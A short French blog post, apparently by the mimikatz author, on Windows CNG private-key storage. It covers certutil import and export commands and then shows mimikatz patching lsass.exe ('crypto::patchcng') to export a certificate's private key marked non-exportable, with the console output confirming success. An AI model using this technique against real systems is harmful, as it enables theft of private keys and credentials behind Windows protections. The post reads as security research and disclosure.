Un petit billet sur la gestion de l’export des clés privées par la CNG (Cryptography API: Next Generation)…
Petite introduction
Un peu de documentation sur ces API pour commencer :
- CryptoAPI : Old Generation : http://msdn.microsoft.com/en-us/library/aa380255.aspx
- Cryptography API: Next Generation : http://msdn.microsoft.com/en-us/library/aa376210.aspx
Il est plus qu’aisé de sortir des clés privées « non exportables » gérées par la CryptoAPI, en effet celles-ci sont traitées directement dans la mémoire du processus appelant, et donc totalement à notre merci (JNZ qui deviennent JMP…).
Microsoft a fait un petit pas sur ce sujet, il a décidé d’isoler les clés privées dans le processus « sécurisé » lsass.exe
, via le service KeyIso
.
Bénéficier de la CNG
Il est malheureusement très difficile de bénéficier de cette avancée, en effet, lors de l’import d’un PFX ou d’un P12 il ne nous est pas proposé de sélectionner le nouveau provider KSP : « Microsoft Software Key Storage Provider », l’on se retrouve donc de manière automatique avec les providers par défaut de la CryptoAPI… quelle avancée !
Pour passer par la CNG l’on doit :
- programmer (!)
- utiliser un outil ayant fait ses preuves dans le domaine de la convivialité :
certutil
Exemple d’import avec certutil
:
- Avec clé exportable :
certutil -user -p waza -csp "Microsoft Software Key Storage Provider" -importpfx test.p12
- Avec clé « non » exportable :
certutil -user -p waza -csp "Microsoft Software Key Storage Provider" -importpfx test.p12 NoExport
Résultat, la CNG est tellement sécurisée, que notre MMC préférée (certmgr.msc
) est, pour le moment, incapable d’exporter une clé exportable…
Notre seule solution :
certutil -user -p export_waza -privatekey -exportpfx test export_test.p12
Jouons avec lsass
Manipuler quelques octets dans lsass.exe
n’est pas très compliqué :
mimikatz # crypto::patchcng CNG@lsass patché ! mimikatz # crypto::exportCertificates Emplacement : 'CERT_SYSTEM_STORE_CURRENT_USER'\My - test Container Clé : test-a9282d11-cbcb-4154-90f7-c94138850d63 Provider : Microsoft Software Key Storage Provider Exportabilité : NON Taille clé : 2048 Export privé dans 'CERT_SYSTEM_STORE_CURRENT_USER_My_0_test.pfx' : OK Export public dans 'CERT_SYSTEM_STORE_CURRENT_USER_My_0_test.der' : OK
Même certutil
a l’air d’accord…
================ Certificat 0 ================ Numéro de série : 07 Émetteur: CN=test, C=FR NotBefore : 12/04/2011 02:10 NotAfter : 11/04/2012 02:10 Objet: CN=test, C=FR La signature correspond à la clé publique Certificat racine : le sujet correspond à l’émetteur Modèle: Hach. cert. (sha1) : 68 61 30 0d 9a 8d 9a 85 e5 d6 9b 0d aa d2 b7 2e e3 67 09 0a Conteneur de clé = test-a9282d11-cbcb-4154-90f7-c94138850d63 Fournisseur = Microsoft Software Key Storage Provider La clé privée NE PEUT PAS être exportée Succès du test de chiffrement CertUtil: -exportPFX La commande s’est terminée correctement.
Inclus dans mimikatz (article : http://blog.gentilkiwi.com/mimikatz/crypto#patchcng)
Shhh…
…avec quelques adaptations, cela marche (pour le moment) avec Windows 8 build 7850…
(l’audit n’est pas encore implémenté)